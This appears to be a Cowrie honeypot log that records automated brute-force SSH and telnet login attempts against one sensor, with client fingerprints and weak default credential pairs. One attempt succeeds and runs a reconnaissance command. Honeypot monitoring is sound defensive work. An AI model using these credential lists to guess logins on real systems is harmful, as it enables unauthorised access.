{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:31.781260Z","src_ip":"45.153.34.112","session":"da039ae02c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:32.156994Z","src_ip":"45.153.34.112","session":"da039ae02c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:33.279197Z","src_ip":"45.153.34.112","session":"da039ae02c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54278,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdc19f86764","protocol":"ssh","message":"New connection: 45.153.34.112:54278 (10.17.0.5:22) [session: 4fdc19f86764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:35.182337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:35.187709Z","src_ip":"45.153.34.112","session":"4fdc19f86764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:35.271235Z","src_ip":"45.153.34.112","session":"4fdc19f86764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:35.616750Z","src_ip":"45.153.34.112","session":"4fdc19f86764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:36.701727Z","src_ip":"45.153.34.112","session":"4fdc19f86764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43824,"dst_ip":"10.17.0.5","dst_port":23,"session":"449aa5c71582","protocol":"telnet","message":"New connection: 192.119.13.58:43824 (10.17.0.5:23) [session: 449aa5c71582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:37.313176Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54284,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed7fcb3c6ad","protocol":"ssh","message":"New connection: 45.153.34.112:54284 (10.17.0.5:22) [session: eed7fcb3c6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:38.842916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:38.847767Z","src_ip":"45.153.34.112","session":"eed7fcb3c6ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:38.935181Z","src_ip":"45.153.34.112","session":"eed7fcb3c6ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:39.187717Z","src_ip":"45.153.34.112","session":"eed7fcb3c6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53976,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eae20df6794","protocol":"telnet","message":"New connection: 192.119.13.58:53976 (10.17.0.5:23) [session: 2eae20df6794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:39.854528Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:40.324472Z","src_ip":"45.153.34.112","session":"eed7fcb3c6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58100,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a1acf1c863","protocol":"ssh","message":"New connection: 45.153.34.112:58100 (10.17.0.5:22) [session: 37a1acf1c863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:42.536341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:42.541135Z","src_ip":"45.153.34.112","session":"37a1acf1c863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:42.624961Z","src_ip":"45.153.34.112","session":"37a1acf1c863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:42.876585Z","src_ip":"45.153.34.112","session":"37a1acf1c863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:44.015101Z","src_ip":"45.153.34.112","session":"37a1acf1c863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11b5bf43394","protocol":"ssh","message":"New connection: 45.153.34.112:58114 (10.17.0.5:22) [session: a11b5bf43394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:46.080575Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66194bd15a4","protocol":"telnet","message":"New connection: 192.119.13.58:51796 (10.17.0.5:23) [session: f66194bd15a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:46.129874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:46.175253Z","src_ip":"45.153.34.112","session":"a11b5bf43394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:46.179125Z","src_ip":"45.153.34.112","session":"a11b5bf43394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.44429564476013184,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:46.574062Z","src_ip":"192.119.13.58","session":"f66194bd15a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:46.588890Z","src_ip":"45.153.34.112","session":"a11b5bf43394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:47.867703Z","src_ip":"45.153.34.112","session":"a11b5bf43394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38422,"dst_ip":"10.17.0.5","dst_port":23,"session":"69bdc82155d9","protocol":"telnet","message":"New connection: 192.119.13.58:38422 (10.17.0.5:23) [session: 69bdc82155d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:49.716530Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52852,"dst_ip":"10.17.0.5","dst_port":22,"session":"91138343abfe","protocol":"ssh","message":"New connection: 45.153.34.112:52852 (10.17.0.5:22) [session: 91138343abfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.096728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.101748Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.183515Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.433517Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.643268Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.646736Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.139991760253906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.707307Z","src_ip":"192.119.13.58","session":"a1edc4b77354","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.738028Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:50.743095Z","src_ip":"45.153.34.112","session":"91138343abfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34274,"dst_ip":"10.17.0.5","dst_port":22,"session":"121ee0764b75","protocol":"ssh","message":"New connection: 62.133.62.83:34274 (10.17.0.5:22) [session: 121ee0764b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:51.063814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:51.068907Z","src_ip":"62.133.62.83","session":"121ee0764b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:51.148726Z","src_ip":"62.133.62.83","session":"121ee0764b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwort","message":"login attempt [root/passwort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:51.386301Z","src_ip":"62.133.62.83","session":"121ee0764b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:52.467497Z","src_ip":"62.133.62.83","session":"121ee0764b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52868,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1ded86ffac3","protocol":"ssh","message":"New connection: 45.153.34.112:52868 (10.17.0.5:22) [session: d1ded86ffac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:53.846337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:53.856272Z","src_ip":"45.153.34.112","session":"d1ded86ffac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 